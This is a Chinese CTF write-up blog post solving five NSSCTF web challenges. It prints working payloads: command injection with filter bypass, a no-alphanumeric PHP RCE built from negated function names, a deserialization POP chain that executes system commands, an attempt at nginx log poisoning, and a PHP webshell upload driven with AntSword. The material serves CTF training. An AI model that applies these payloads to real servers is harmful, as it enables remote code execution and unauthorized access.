NSSCTF靶场刷题(4)

题目均源自NSSCTF靶场。

题目解析还是尽我所能把细节阐释到位,本次题目解析中我特别在细节理解上做了细致的处理,致力于一题多解和别的wp相比更在payload的细节理解【我觉得在对能力提升上很有必要之处的理解部分】上地方多花了心思写尽量做到看完一篇wp就能解决疑惑

在解析过程中把解题逻辑理清晰,从小白视角解析清楚,把细枝末节的问题解释到位。

当然,如果题目解析哪里有不恰当的地方恳请各位师傅私信或评论区指出~

目录

[FSCTF 2023]巴巴托斯!【web】

[FSCTF 2023]Hello,you【web】

[鹏城杯 2022]简单的php【web】

[MoeCTF 2021]unserialize【web】

[WUSTCTF 2020]CV Maker【web】

[FSCTF 2023]巴巴托斯!【web】

开题。

开题即显示:【Access Denied! I love FSCTF Browser

考查方向即是HTTP基础知识。

FSCTF Browser?

开hackbar插件去改协议头里User-Agent:FSCTF Browser即可。

能看到我们这边改了之后再发包,页面回显内容变化了。代表成功了。

我们接着看。

【Are you local man?】意思就是我是需要本地访问。

把Referer改成127.0.0.1即可【这里本身没有Referer,是添加了这个头才有的,选择MODIFY HEADER即可添加】

我一开始以为是把xff改成127.0.0.1【当然这是错的哈。注意区分XFF和Referer的区别】

改好了之后发包发现。页面上已经没有东西了。

我以为这个时候会回显flag。但事实并不。

这个时候我们注意到。被紫色方框圈住的部分

?file=show_image.php

个人经验告诉我,这个地方或许我们可以试着改成 flag.php ?

但很可惜。也没有任何回显。但同时又不是403界面 或者是其他错误界面。

我们随便换个名字试试。看看会不会报错。

这次是我随便乱输的一个文件名。这次报错证明了flag.php确实存在。但我们用上面那种形式去访问是访问不到的。

大概率是权限不足。

为什么?

当你尝试包含或者访问其他目录下的文件时,直接提供文件路径可能会受到一些安全性限制,例如 PHP 的 open_basedir 配置或禁止访问上级目录等。

我们换一种读取方式来让它回显。

这里获取flag的方法有两种。

法一:利用php伪协议读取

为什么会选择用伪协议?

通过使用伪协议,你可以改变文件路径的解释方式,绕过这些限制。例如,../ 在直接提供文件路径时可能被阻止,但在使用伪协议时,你可以使用类似 php://input、php://filter 或 data:// 等伪协议,使 PHP 解释器以不同的方式处理输入,从而实现跨目录包含。这就是为什么要使用伪协议的原因。

把这串base64加密后的字符串解密。

获取flag。

法二:RCE+目录穿越之nginx日志漏洞

这个方法我是在NSS靶场该题WP处看见其他师傅写的。觉得很有意思。

怎么理解这个方法?

我们在登入访问一个网站时候,一般会在/var/log/nginx/access.log如果用的服务器是nginx】上留下痕迹。

如右边的响应中黑体加粗部分即是nginx日志

NGINX软件会把每个用户访问网站的日志记录到指定的日志文件里,供网站者分析用户的浏览行为。

类似于如上图这种。会显示每一条。你登入的时间,访问网站的方式,浏览器是什么等等。

如果我们能够访问到这个界面,就意味着可以利用nginx日志漏洞。

一般情况下通过url是不可以访问到这个界面的,是受限的。

通过目录穿越漏洞,我们可以访问到原本无法访问到的界面,即访问任意文件。

那么。如果我们在

?file=

处写下恶意php代码呢?

?file=<?php system('ls /');?>

然后我们再访问nginx日志。

但是日志这边似乎并没有将我的php代码诠释为命令执行,而是当作字符串读取。

再试试看

?file=<?php system('tac f*');?>

确实并没有将代码执行,而是类似于文本读取。

那我就不是很理解为什么另外一位师傅可以用这种方法读到flag了。

希望有知道的师傅可以私信指点一下~~

另一位用同样方法但是成功实验的师傅wp。

[FSCTF 2023]Hello,you【web】

哈哈。开题之前看见师傅的描述非常可爱~,遂记录下来。

开题。

先看看码源什么的。信息收集一下。

一段被注释掉的代码:

出现关键词【执行命令并返回结果

我们来浅浅代码审计一下: ​

$input = isset($_GET['input']) ? $_GET['input'] : '';
​
// 执行命令并返回结果
function executeCommand($command) {  //1.找到执行命令的函数,那么哪里可以调用此功能?
    $output = '';
    exec($command, $output);  //exec执行命令$command,但并不回显,只把结果存储在$output中
    return $output;          //return语句把$output输出
}
​
// 注册用户
function registerUser($username) {
    // ......... 
    $command = "echo Hello, " . $username;
    $result = executeCommand($command);  //2.找到间接调用RCE的地方。哪里又可以调用这个函数?
    return $result; //4.把得到的result输出。
}
​
// 处理注册请求
if (isset($_POST['submit'])) {
    $username = $_POST['username'];
    $result = registerUser($username); //3.找到可以调用注册用户的地方。
}

命令执行点在exec($command, $output);

我看大多数这道题的解释是“需要我们用【;】截断一下前面的代码。只执行后方的代码。”

payload:

1;ls

但是

怎么理解这个隔断payload?

$command = "echo Hello, " . $username; //而$username 就是1;ls

那么这个语句就会变成。

$command ="echo hello,1;ls"

这个再进入到

$result = executeCommand($command);

就变成

$result = executeCommand("echo hello,1;ls");

在RCE功能函数中具体就变成。

//FUCTION_RCE
function executeCommand("echo hello,1;ls") {
    $output = '';
    exec("echo hello,1;ls", $output);
    return $output;         
}

即先执行 echo hello,1;

之后再执行 ls

核心理解就是———避免了命令【ls】被当作字符串被echo输出

接着我们拿flag。即可。

但是这里存在过滤,不可以直接用:

1;cat flag;

需要绕过关键字。

cat我们中间用【\】处理。

flag用通配符【*】处理。

说到通配符:

* :表示匹配1 or 多个字符
? :表示匹配一个字符
[] :类似于正则表达式(只能匹配一个字符)

所以【f*】能够匹配【flag.php】

payload1:

1;ca\t f*;
1;ta\c f*;  //这个也可以

除了用【;】阻拦我们的命令被当作字符串输出。

【|】也可以。

即法二:

payload2:

1|ls    //查看当前目录。
1|ta\c f*   //获取flag.

那为什么这个又可以?

【|】管道符。

命令1在这里是空。我们写 1|ls

是不会有像payload1那样输出【hello】的。

因为这里我们只执行 ls.

管道符【|】前面的 1 并没有消失,它被当作字符串读进 echo 代码行 ,但由于【|】只执行后方命令。也就是只在页面上输出【ls】后的结果。前面的【echo hello,1】确实存在但不予输出。

拿到flag。

其实还存在更多做法。并且我认为培养一题多解的思维非常有助于能力提升。

[鹏城杯 2022]简单的php【web】

开题。

先代码审计一下:

$code = $_GET['code'] //GET传参,参数名是code;
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
    die(' Hello')};

//$code长度只能<=80 并且 不能含有字母,数字,及一些特殊字符。

这个时候就有点无字母RCE的感觉了。

else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
    
//如果if中的内容都不符合。且在把$code从里到外嵌套的函数扒开后只剩【;】的话就用eval函数以php代码形式执行$code。
//怎么理解把$code从里到外嵌套的函数扒开后只剩【;】?
//example
    //假设code=print_r(getallheaders());之后先把getallheaders()去掉,得到code=print_r();再去掉print_r(),得到code=;后就满足代码【';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)】,此时执行【@eval($code);】,eval()中code还是【print_r(getallheaders())】

Tip:

[^\s\(\)]+? 表示不匹配所有空白符和() 一次或多次

\((?R)?\) 表示循环匹配() 一次或0次

那么这题的解法就属于无参数的取反RCE,并且需要二维数组绕过

我们先看看在题给的制度下,还有什么没有被过滤:

【下面这个php代码直接放本地运行/在线php运行都可以,preg_match中可以替换成其他,以后也可以使用,不限于这道题】

//看看哪些字符没有被过滤
<?php 
 
for ($ascii=0; $ascii < 256; $ascii++){
    if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',chr($ascii))){
            echo chr($ascii);
    }
}

可以看见,取反【~】没有被过滤。

这个时候我们可以写一个脚本来构造payload:

//字符串phpinfo的样例
<?php 
echo urlencode(~"phpinfo");
?>

得到:

%8F%97%8F%96%91%99%90 //phpinfo取反之后再urlencode
​
[~%8F%97%8F%96%91%99%90] //等价于[phpinfo]
​
[~%8F%97%8F%96%91%99%90][!%FF] // [!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo

Tip:用二维数组进行拼接必须有[!%FF]进行分割

这里如果要拿到flag。我们需要配套如下函数一起食用:

主要
1、getallheaders()     //获取流量包里的协议头
2、get_defined_vars()  //获取已定义的所有数组
3、session_id()
 
配套
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。

去试试取反是否成功。

/?code=[~%8F%97%8F%96%91%99%90][!%FF]();

看来是可以的。

这里我们用获取请求头的方式来拿flag。

结合之前的函数。

有payload:

//还没有取反之前的形式【还算不上payload】
?code=system(end(getallheaders()));  
?code=system(current(getallheaders()));
?code=system(pos(getallheaders()));   //pos等价于current
​
//取反之后的payload:用【?code=system(end(getallheaders())); 】做例子来解释

?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
​
然后我们用BP在HTTP头最底下随便写一个
x:ls /
​
payload理解:
//getallheaders()用于获取所有HTTP头里面的键值
//end(getallheaders())用于指向HTTP头里的最后一个值
//current(getallheaders())用于指向HTTP头里的第一个值   //pos同理,就是current的变名。
//system(end(getallheaders()))则执行HTTP头中最后一个的值。 即实际shellcode=system('ls /');

用BP拦截再发包一下。

/?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
​
//?code=system(current(getallheaders()));

但是用这个payload却拿不到flag。

/?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
​
//?code=system(end(getallheaders())); 
不太清楚为什么这个payload拿不到flag。但理论上完全没问题。

理论上完全是可以的。并且也有师傅已经实践出来了。

如果这里有师傅知道这里是为什么欢迎私信或评论区直接指出来~

[MoeCTF 2021]unserialize【web】

开题。

看代码长度可以首先分析得知是一题简单的反序列化。适合新手练习反序列化食用。

老规矩。从执行shell_code【恶意代码】的地方倒挖从而构造poc链。

同样,结合源代码一起来做个代码审计工作~

//本php代码可保存到本地运行得到目标payload,或者在线运行都可以得到payload。
<?php
highlight_file(__FILE__);
class entrance
{
    public $start; //第8步:根据第7步将 $this->start = new springboard();
​
    function __construct($start)
    {
        $this->start = $start;
    }
​
    function __destruct() 
    {
        $this->start->helloworld();//第7步:根据第6步找到不存在的方法helloworld();同时把 $this->start = new springboard();
    }
}
​
class springboard
{
    public $middle;//第5步:根据第4步,将$this->start=new evil();
​
    function __call($name, $arguments)  #第6步:找到触发__call()的地方:【访问不存在的方法时触发】
    {
        echo $this->middle->hs;//第4步:根据第3步,整个代码中是没有属性hs的,所以此属性的值同样不存在,$this->start设置成【new evil()】可触发get魔术方法。
    }
}
​
class evil
{
    public $end;//第2步:根据第1步,$this->end设置成system('tac /f*');
​
    function __construct($end)
    {
        $this->end = $end;
    }
​
    function __get($Attribute) //第3步:寻找哪可以触发魔术方法__get():[读取不可访问属性的值(private/protected/不存在)时,php就会执行__get()方法。]
    {
        eval($this->end);  //第1步:shell_code执行处【eval(system('tac /f*');)】
    }
}
​
​
#链子的构造:evil::__get()<--springboard::__call()<--entrance::__destruct()
#构造顺序倒过来即可。
$a=new entrance();
$a->start = new springboard();
$a->start->middle = new evil();
$a->start->middle->end ="system('tac /f*');";
$b=serialize($a);
echo urlencode($b);
?>

#链子的构造顺序:evil::get()<--springboard::call()<--entrance::__destruct()

这道题还有一个很好的地方就是,同时运用到了魔术方法get和call加深了对这二者的理解。

这两者在很多时候会混淆

__get()是在读取不可访问属性的值触发。

__call()是在读取不可访问方法时触发。

二者存在本质区别。

把得到的php代码本地运行一下

得到payload:

O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A18%3A%22system%28%27tac+%2Ff%2A%27%29%3B%22%3B%7D%7D%7D
​
【上面的一串码urldecode之后就是如下:】
O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:18:"system('tac /f*');";}}}

得到flag。

[WUSTCTF 2020]CV Maker【web】

开题。

页面上方的【home】【Overview】点击了也没什么反应。大概率那些部分都是静态

那我们先尝试一下主页面这个注册界面。

ok。

得到一个界面如下:

而这个界面中除了更换头像+上传两个可以用,其他均为静态【没什么用,点了也没反应】。

显然这大概就是一个上传题。

我们需要用到BP来拦截改包再重发来做到植入恶意代码

从而获取FLAG。

这个是我们拦截【还没有植入恶意代码之前】的流量包。

我们稍微修改一下内容,植入木马。

木马内容:

GIF89a
<script language='php'> @eval($_POST['shell']);</script>

这里的GIF89a 是jpg文件头

然后我们去访问界面

url/uploads/058f0dcc2ce0ee6d9ef779307f2ee3a3.php

但是为什么看不见flag。?

开蚁剑链接我们的后门看看。

这里有个特别需要注意的事。如果用校园网的话,可能蚁剑没法连接上。

这个时候解决办法就是:开自己热点去连。就ok了。

真相了。它根目录下的flag是假的。内容为空。

那怎么找?

去phpinfo()里看看也许会比较方便。

OK。拿到flag。

但是这道题还有一个非预期解。

直接dirsearch扫目录。

发现url/phpinfo.php是可以直接访问的。

如果可以直接访问。【应该出题这块没有设置好。或者说是签到题,不然这个不应该可以直接访问到的】

FLAG也就很容易到手了。

发现也同样能拿到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值